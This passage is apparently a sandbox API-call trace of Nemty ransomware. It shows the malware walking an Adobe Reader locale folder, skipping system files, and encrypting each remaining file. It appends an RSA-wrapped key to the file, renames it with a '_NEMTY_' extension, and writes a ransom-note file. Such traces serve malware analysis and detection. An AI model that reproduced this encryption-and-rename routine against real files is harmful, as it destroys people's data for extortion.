10.0\\reader\\locale\\pt_br\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0181.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.267] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.268] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0181.268] CloseHandle (hObject=0x254) returned 1 [0181.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0181.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.268] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1faeccd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1faeccd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0181.269] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0181.269] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1faeccd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1faeccd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0181.269] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0181.269] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0181.269] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2=".") returned 1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="..") returned 1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="...") returned 1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="windows") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="rsa") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="NTDETECT.COM") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="ntldr") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="MSDOS.SYS") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="IO.SYS") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="boot.ini") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="boot.ini") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="AUTOEXEC.BAT") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="ntuser.dat") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="desktop.ini") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="CONFIG.SYS") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="RECYCLER") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="BOOTSECT.BAK") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="bootmgr") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="programdata") returned -1 [0181.269] lstrcmpiW (lpString1="accessibility.PTB", lpString2="appdata") returned -1 [0181.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.269] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0181.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.PTB", lpUsedDefaultChar=0x0) returned 17 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.PTB", lpUsedDefaultChar=0x0) returned 17 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.PTB", lpUsedDefaultChar=0x0) returned 17 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.270] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.PTB", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.PTB", lpUsedDefaultChar=0x0) returned 17 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.270] Sleep (dwMilliseconds=0x5) [0181.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fb38f90, dwHighDateTime=0x1d561e8)) [0181.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fb38f90, dwHighDateTime=0x1d561e8)) [0181.285] GetLastError () returned 0xb7 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.286] GetLastError () returned 0xb7 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0181.286] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.286] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.286] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.286] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="o7/gPHbjMXby6R0Y+yiAdWBTwov0M8pnjgZgcCcYUjvtnCvy15TkOC42fxtdnpYU\r\n6mksllL3XCsDXapxDIe+TmjUspjEWzghlDb47BEV6QgldwyvfVqRHI/Q5e6EyVMo\r\nuhfFTFX9FofOTI0ZKVuNhaZfoHjj4+O6AMSGDPAmVVWBWeKJ6YK1sb4YkYv9r52z\r\nOaFZfMub3G8OpxX4xWsiiv7LZrNMrKR1QCtLKe8BUjpxFqi2OSynjfyR3F0CU/82\r\niWWiCgvHWeRyVgk5VSslGcsypoQixv172rdTo1TGmYgQwRCT+logR5A1t3issHcz\r\ngsby7lVAUVb/WmvxDX36Jw==\r\n", pcchString=0x653e5dc) returned 1 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\accessibility.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\accessibility.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.287] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=44032) returned 1 [0181.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xac00) returned 0x6352c48 [0181.287] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.287] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xac00, lpOverlapped=0x0) returned 1 [0181.291] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.291] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xac00, lpOverlapped=0x0) returned 1 [0181.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.292] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00 [0181.292] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.292] CloseHandle (hObject=0x2e8) returned 1 [0181.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0181.292] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0181.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0181.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.292] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0181.292] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\accessibility.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\accessibility.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\accessibility.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\accessibility.ptb._nemty_kgobjgd_")) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.295] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.PTB", cAlternateFileName="")) returned 1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2=".") returned 1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="..") returned 1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="...") returned 1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="windows") returned -1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="rsa") returned -1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="NTDETECT.COM") returned -1 [0181.295] lstrcmpiW (lpString1="Acroform.PTB", lpString2="ntldr") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="MSDOS.SYS") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="IO.SYS") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="boot.ini") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="boot.ini") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="AUTOEXEC.BAT") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="ntuser.dat") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="desktop.ini") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="CONFIG.SYS") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="RECYCLER") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="BOOTSECT.BAK") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="bootmgr") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="programdata") returned -1 [0181.296] lstrcmpiW (lpString1="Acroform.PTB", lpString2="appdata") returned -1 [0181.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.296] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.PTB", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.297] Sleep (dwMilliseconds=0x5) [0181.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fb5f0f0, dwHighDateTime=0x1d561e8)) [0181.302] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fb5f0f0, dwHighDateTime=0x1d561e8)) [0181.302] GetLastError () returned 0x0 [0181.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.302] GetLastError () returned 0x0 [0181.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.302] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.302] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.302] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.302] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.303] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="b9YDeVYMUVERGnuqX5i5B1Pyk5ARNRHDQLOTBHHWHJP/TVAf8IHdXjugAQns6k2A\r\nP/dp4mbZkkIaT8x1HoqteGC8NOZrOkRLzxHcWPmRT2tkfAxizHWyUuLUfIpAK8zR\r\nlvvFtXkWSSKgHbP+CCWQ44tJlg47w2GrfIOVBj+E2FkmuRxQEd/3RYK/f9z1lx4g\r\ngoQYa5MnZrGQRpNwMa5uOivMfKNgcV1iEKhIZ10+tjuCLgP8t6oJsvobWiDzUkUS\r\n+vUMq24K8E8YT3kyyxTqJWQPip6gD8H0gVKaPyJs0jj1jGytoNOf31Z+rsUzmN48\r\n8JzptydW1Q6Z1NkTHepCZw==\r\n", pcchString=0x653e5dc) returned 1 [0181.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.303] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.303] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Acroform.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\acroform.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.303] GetFileSizeEx (in: 